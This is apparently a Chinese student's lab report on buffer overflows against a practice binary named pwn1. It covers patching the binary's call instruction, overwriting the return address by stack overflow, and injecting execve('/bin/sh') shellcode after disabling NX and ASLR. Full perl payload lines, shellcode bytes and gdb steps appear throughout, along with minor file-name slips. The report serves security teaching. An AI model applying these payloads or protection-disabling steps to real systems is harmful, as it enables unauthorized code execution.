当前位置: 首页 > news >正文

20252805 2025-2026-2 《网络攻防实践》第9次作业 实践九 软件安全攻防--缓冲区溢出和shellcode

目录

  1. 实践内容
  2. 实验过程
    • 2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
    • 2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
    • 2.3 注入一个自己制作的shellcode并运行
  3. 学习中遇到的问题及解决
  4. 学习感想和体会

1.实践内容

本次实验围绕可执行文件pwn1展开,目标是通过三种不同手段触发程序中隐藏的getShell 函数,从而获得一个交互式shell。三个实践难度递进,分别涉及二进制文件修改、栈溢出漏洞利用和shellcode注入

手工修改可执行文件,改变执行流程
做法:

  • 使用objdump反汇编找到getShell地址(0x0804847d),发现main中通过call foo调用foo
  • 用vim以十六进制模式打开二进制文件,修改call指令的相对偏移值,将原本跳转到foo改为跳转到getShell
  • 修改后保存,直接运行程序即获得shell
    关键点:理解指令编码和小端序,计算相对偏移(getShell - call下一条指令地址)
    结果:成功绕过正常流程,静态修改使程序无条件执行getShell

利用foo的缓冲区溢出,覆盖返回地址
做法:

  • 反汇编确定缓冲区大小为28字节,加上保存的ebp占4字节,因此填充32字节后即可覆盖返回地址
  • 通过gdb输入长字符串验证eip被覆盖的位置。构造payload:32个填充字符 + getShell地址(小端序 \x7d\x84\x04\x08)
  • 将payload写入文件,用(cat 文件; cat) | ./pwn20252805执行,成功获得shell
    关键点:确定栈布局(缓冲区到返回地址的偏移),覆盖返回地址为已有函数地址
    结果:程序在foo返回时跳转到getShell,实现漏洞利用

注入shellcode并运行
做法:

  • 首先关闭NX保护(用execstack -s设置栈可执行),临时关闭ASLR(echo 0 > /proc/sys/kernel/randomize_va_space
  • 编写一段execve("/bin/sh")的shellcode,并构造payload:填充32 字节 + 返回地址(指向栈上shellcode的起始位置)+ NOP sled + shellcode
  • 通过gdb附加到运行中的程序,在foo的ret指令处下断点,查看esp值确定shellcode实际存放地址(0xffffd110),修正payload中的返回地址
  • 最终重新注入成功获得shell。实验结束后恢复ASLR
    关键点:需要关闭两个安全机制(NX、ASLR),并通过调试确定动态栈地址,构造准确返回地址
    结果:成功执行注入的机器码,获得交互式shell

2.实验过程

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

(2.1使用虚拟机kali2022)
首先,将pwn1文件上传到虚拟机kali2022中,按照实验要求修改文件名为学号pwn20252805
再按照实验要求,将虚拟机kali2022的主机名改为自己姓名leizhao
输入如下指令:

sudo hostnamectl set-hostname leizhao

再输入如下指令验证,发现主机名已改为leizhao

hostname

QQ20260524-224810

重启后再打开powershell,发现主机名已改为leizhao
QQ20260524-225010

然后输入指令:

objdump -d pwn20252805 | more

这个指令对名为pwn20252805的二进制文件进行反汇编,并通过more命令分页显示输出结果
其中,-d(--disassemble)选项表示反汇编可执行代码段,将机器码转换为汇编指令输出
QQ20260525-134946

按空格翻页,可以看到getShell函数、foo函数和main函数的信息
得到getShell函数的地址0x0804847d
main函数调用了foo,我们可以修改这条call指令的操作数,使其直接调用getShell
QQ20260525-140638

然后,输入以下指令,以vim编辑器打开文件pwn20252803

vim pwn20252803

打开发现是乱码,请直接输入

:%!xxd

改成以16进制的形式打开
QQ20260525-140508

将d7改为c3,让函数返回时不再回到main,而是直接跳去getShell函数
原因:
从反汇编看,call指令在0x80484b5,其机器码通常是e8 <相对偏移>
当前偏移是d7 ff ff ff(小端,实际值为 0xffffffd7,即 -41 字节)
计算从call的下一条指令(0x80484ba)到 getShell(0x804847d)的相对偏移:0x804847d - 0x80484ba = -61 (0xffffffc3)
因此修改机器码中的 d7 ff ff ff 为 c3 ff ff ff
QQ20260525-140342
QQ20260525-140412

修改完毕,按下Esc键,输入:%!xxd -r还原为原格式后输入再:wq!保存退出
QQ20260525-140541

再输入下述指令,发现已经修改

objdump -d pwn20252805 | more

QQ20260525-140728

直接输入下述指令

./pwn20252805

如图所示出现了$提示符,并且可以正常执行ls等命令——这说明已经成功触发了getShell函数,获得了一个shell
输入ls,因为此时程序已经跳转到了getShell,并执行了system("/bin/sh"),启动了一个新的shell。ls被这个新shell执行
QQ20260525-141204

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

(2.2使用虚拟机kali2022)
重新上传pwn1文件到虚拟机kali2022中,按照实验要求修改文件名为学号pwn20252805
输入以下指令,安装gdb
gdb可以查看程序的基本信息、用objdump辅助获取地址、用地址下断点、查看栈布局和缓冲区偏移

sudo apt update
sudo apt install gdb

QQ20260525-141916
QQ20260525-142124

输入指令

gdb pwn20252805    

再输入r运行
QQ20260525-143057
QQ20260525-143123

再次输入指令:

objdump -d pwn20252805 | more

可以发现:
缓冲区起始位置:ebp - 0x1c(即ebp - 28字节)
返回地址存储在ebp + 4
从缓冲区起始到返回地址的距离 = 28(到ebp) + 4(保存的ebp) = 32字节
所以实验2.2的溢出payload结构:
填充32字节任意数据 + getShell地址(小端序:0x7d840408)
QQ20260525-140638

输入1111111122222222333333334444444455555555,再输入info r,可以看到eip的值为0x35353535
QQ20260525-143319

改为输入字符串1111111122222222333333334444444412345678,那1234这四个数最终会覆盖到堆栈上的返回地址
因此只要把这四个字符替换为getShell的内存地址,程序就会运行getShell
QQ20260525-143434

输入exit,退出gdb模式
由于前面已经确定getShell地址:0x0804847d
因此要输入11111111222222223333333344444444\x7d\x84\x04\x08,然后将要写入的字符串存到20252805leizhao_attack文件中
输入指令如下:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20252805leizhao_attack

这条命令的作用是生成一个包含攻击载荷(payload)的二进制文件,用于对pwn20252805程序进行缓冲区溢出攻击
其中:

  • perl -e:执行Perl单行脚本,输出指定的字符串
  • "11111111222222223333333344444444":这32个字节用于填充缓冲区(28字节)+ 覆盖保存的ebp(4字节)
  • \x7d\x84\x04\x08:4字节的小端序地址,对应getShell函数的入口地址0x0804847d,这个地址将覆盖foo函数的返回地址
  • \x0a:换行符(ASCII 0x0a),模拟用户输入时的回车,方便程序读取
    再输入以下指令,查看文件20252805leizhao_attack的十六进制内容
xxd 20252805leizhao_attack

如图所示
QQ20260525-143637

输入以下指令,成功获取shell

(cat 20252805leizhao_attack; cat) | ./pwn20252805

这条命令是缓冲区溢出攻击中获得交互式shell的标准技巧:

  • ( ... ):在当前shell中执行一个子shell,括号内的两个命令会按顺序执行
  • ;:分隔两个命令,前一个执行完后执行后一个
  • cat:无参数,会从标准输入(键盘)读取数据并原样输出。它会一直运行直到你输入Ctrl+D结束输入
    QQ20260525-143901

完成2.2节实验后,输入Ctrl+D退出shell

2.3 注入一个自己制作的shellcode并运行

(2.3使用虚拟机kali2022)
输入以下指令,安装工具execstack_0.0.20131005-1.1_amd64.deb,先下载再解压

wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

execstack可以关闭现代Linux系统的一个核心安全机制——NX(No-eXecute,数据执行保护)
为了保护系统,NX默认开启,此时严格禁止在“栈(Stack)”上执行代码
由于2.3的shellcode会通过输入被存放在栈上,如果NX保护开启,程序一旦试图执行它,就会直接触发“段错误 (Segmentation Fault)”并崩溃
所以必须关闭NX完成本节实验
QQ20260525-145046
QQ20260525-145113

输入指令,将程序标记为“需要可执行栈”:

execstack -s ./pwn20252805

然后输入指令,查询程序的当前状态:

execstack -q ./pwn20252805
  • 如果输出是X ./pwn20252805,代表栈当前是可执行的
  • 如果输出是- ./pwn20252805,则代表栈是不可执行的
    QQ20260525-145705

输入以下指令,查看当前系统地址空间布局随机化(ASLR)的级别:

more /proc/sys/kernel/randomize_va_space

返回值及其对应含义如下表:

含义
0 关闭 ASLR。所有内存地址固定,便于调试和漏洞利用
1 部分随机化:栈、共享库、mmap基址随机化,但堆不随机
2 完全随机化(默认):栈、堆、共享库、mmap、vdso等都随机化

QQ20260525-145954
返回值为2,说明目前是默认的完全随机化

输入以下指令,临时关闭随机化

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

再输入下列指令查看,发现返回0,已关闭随机化

more /proc/sys/kernel/randomize_va_space

QQ20260525-150143

使用输出重定向将perl生成的字符串存储到attack_20252805文件中:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > attack_20252805

QQ20260525-150857

输入以下指令,完成初始注入(触发漏洞),终端(命名为终端1)接管后续输入(维持交互式会话):

(cat 2025280leizhao_attack; cat) | ./pwn20252805

QQ20260525-151006

打开新的终端(命名为终端2),输入以下指令:

ps -ef | grep pwn20252805

该命令的作用是查看系统中是否正在运行名为pwn20252805的进程,以及它的详细进程信息:

  • ps -ef:显示当前系统中所有进程的完整列表
  • grep pwn20252805:从进程列表中筛选出包含pwn20252805的行
    返回进程号为6946
    QQ20260526-003217

输入指令:

gdb pwn20252805

然后输入:

attach 6946

附加到已运行的进程PID 6946。这样可以调试已经运行中的程序,而不是重新启动
QQ20260526-003240

再接着输入以下指令:

disassemble foo
break *0x080484ae

在ret处设置断点,ret的位置是0x080484ae
然后在终端1按回车,再在终端2输入c继续运行(直到命中断点,即程序执行到foo的ret前会停下)
查看栈顶指针所在的位置为0xffffd10c,0xffffcf70为返回地址的位置(我重新上传过pwn1文件,或许这就是我地址与其他教程不同的原因)
shellcode的地址为栈顶指针的地址 + 4 = 0xffffd10c + 4 = 0xffffd110
然后输入以下指令:

info r esp
x/16x 0xffffd10c 

可以查看当前esp寄存器的值。在ret指令尚未执行时,esp指向的就是即将被弹出的返回地址。也就是说,返回地址就保存在内存0xffffd10c处
QQ20260526-003318

输入exit或q,退出gdb模式
输入如下指令,重新构造attack_20252805文件:

perl -e 'print "A"x32 . "\x10\xd1\xff\xff" . "\x90"x6 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > attack_20252805

Payload结构(按写入顺序):

  • 32字节填充(覆盖缓冲区 + 保存的ebp):'A' x 32
  • 4字节返回地址0xffffd10c(小端序):\x10\xd1\xff\xff
  • 6字节NOP滑梯:\x90 x 6
  • 25字节shellcode(execve("/bin/sh")):\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
  • 末尾加换行符\x0a
    再输入:
(cat 20252805leizhao_attack; cat) | ./pwn20252805

根据ls和whoami返回的内容,成功获取shell
QQ20260526-003607

完成2.3节实验后,输入Ctrl+D退出shell
最后,输入以下指令,恢复完全随机化:

sudo bash -c 'echo 2 > /proc/sys/kernel/randomize_va_space'

再输入下列指令查看,发现返回2,说明完全随机化已恢复:

more /proc/sys/kernel/randomize_va_space

QQ20260525-152649

3.学习中遇到的问题及解决

问题1:
如图所示,sudo无法解析主机leizhao
QQ20260525-145113

问题1解决方案:
如图所示,输入指令:

sudo vim /etc/hosts

QQ20260525-150709

输入Insert开启编辑
如图所示,添加新别名:leizhao
然后保存退出,此时问题已解决
QQ20260525-150729

4.学习感想和体会

我在三个实验依次实践了:静态修改指令、栈溢出跳转已有函数、栈溢出执行自编shellcode。掌握了objdump、xxd、gdb、perl生成payload等常用工具,理解了函数调用栈布局、返回地址覆盖原理,以及NX和ASLR对漏洞利用的影响

http://www.jsqmd.com/news/887118/

相关文章:

  • 2026年婚恋小程序技术实测:婚介所小程序、婚介所管理系统、婚介管理小程序、婚介管理系统、婚介管理软件、婚介系统选择指南 - 优质品牌商家
  • 2026年青岛系统门窗品牌排行:上海阳台封窗/北京断桥铝门窗/北京窗纱一体窗/北京铝合金门窗/北京门窗/合肥断桥铝门窗/选择指南 - 优质品牌商家
  • 发现一个免费的AI创作平台,一句话就能做出上线应用
  • Unity编辑器黑屏崩溃?Windows TDR超时机制详解与安全调优
  • ARIMA与LSTM双模型实战:构建金融时间序列预测系统
  • Visual C++运行库合集:一劳永逸解决Windows应用兼容性难题的完整指南
  • 2026财务分析师能力提升培训推荐课程:大学生如何打造“财务+数据+决策”高薪竞争力?
  • 2026年5月新发布好的分体空气锤平台:服务商深度解析与选型指南 - 2026年企业推荐榜
  • SSH工具对比:新手用户和熟练运维,选型逻辑有什么不同
  • 别再手动备份代码了!一文带你走进Git与GitHub的世界
  • STM32+FreeRTOS移植完整教程(基于CubeMX),从配置到验证一步到位
  • 从零到量产:DeepSeek测试用例生成落地全链路(模型微调→领域知识注入→结果可信度分级→自动化验收)
  • 森优时铁锌维发根养黑用三个月真实效果实测:内服营养养黑的客观测评
  • Claude Code 费用突然飙升怎么查?7 个缓存失效和错模型配置的常见坑
  • 爱享素材下载器,跨平台多站点资源下载工具
  • 2026年Q2手持式继电保护测试仪靠谱品牌排行:串联谐振耐压试验设备、串联谐振装置、九相微机继电保护测试仪、九相继电保护测试仪选择指南 - 优质品牌商家
  • 3步深度解锁:网络设备权限管理工具的实战手册
  • 从理论到代码:手把手拆解NS方程的守恒形式,并用Python实现一个简单求解器
  • Spine动画跨引擎集成:Unity与Godot的断层修复指南
  • 国内P沟道MOS厂商实测排行:DPAKMOS、MOSFET、N沟道MOS、SOP-8MOS、TO-220MOS选择指南 - 优质品牌商家
  • STT-MTJ并行概率伊辛机设计与优化计算应用
  • 如何用自下而上笔记法告别信息碎片化困扰
  • 开发转兼职DBA(一):只会写SQL的那几年
  • 跟着韩顺平学Java打卡笔记!(Day1)(哪天没学记得踢我一下(✿◡‿◡))
  • 基于DiSEqC协议与AVR单片机实现天线方位角精准控制与存储
  • 【限时解密】Midjourney未公开的粒子物理引擎参数:--particle-dampen、--emission-rate等5个灰度功能实测报告
  • 2026年DPAK:200VMOS、300VMOS、60VMOS、DPAKMOS、MOSFET、N沟道MOS、P沟道MOS选择指南 - 优质品牌商家
  • 别再只用ARIMA了!当数据少得可怜时,试试灰色预测GM(1,1)模型(Python/R实战对比)
  • 录音会议纪要整理不同使用场景,实用口碑选择建议
  • 别再手动建bits文件夹了!Visual Studio 2022一键配置C++万能头文件bits/stdc++.h的两种方法